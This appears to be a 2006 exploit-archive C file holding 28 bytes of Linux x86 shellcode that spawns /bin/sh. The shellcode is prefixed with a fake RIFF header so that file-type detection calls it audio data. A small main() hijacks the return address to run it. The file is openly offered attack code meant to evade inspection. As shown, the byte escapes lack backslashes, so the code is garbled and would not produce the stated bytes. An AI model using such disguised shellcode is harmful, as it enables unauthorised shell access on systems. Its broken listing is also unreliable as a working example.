/*
 * (linux/x86) - execve("/bin/sh", ["/bin/sh", NULL]) + RIFF Header - 28 bytes
 *
 * root@magicbox:~# file linux-sh-riffhdr.bin
 * linux-sh-riffhdr.bin: RIFF (little-endian) data
 *
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	//
	// RIFF Header (5 bytes)
	//

	"x52"                  // push %edx 
	"x49"                  // dec %ecx 
	"x46"                  // inc %esi 
	"x46"                  // inc %esi 
	"x40"                  // inc %eax 

	//
	// execve("/bin/sh", ["/bin/sh", NULL]);
	//

	"x6ax0b"              // push $0xb 
	"x58"                  // pop %eax 
	"x99"                  // cltd 
	"x52"                  // push %edx 
	"x68x2fx2fx73x68"  // push $0x68732f2f 
	"x68x2fx62x69x6e"  // push $0x6e69622f 
	"x89xe3"              // mov %esp,%ebx 
	"x52"                  // push %edx 
	"x53"                  // push %ebx 
	"x89xe1"              // mov %esp,%ecx 
	"xcdx80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-04-17]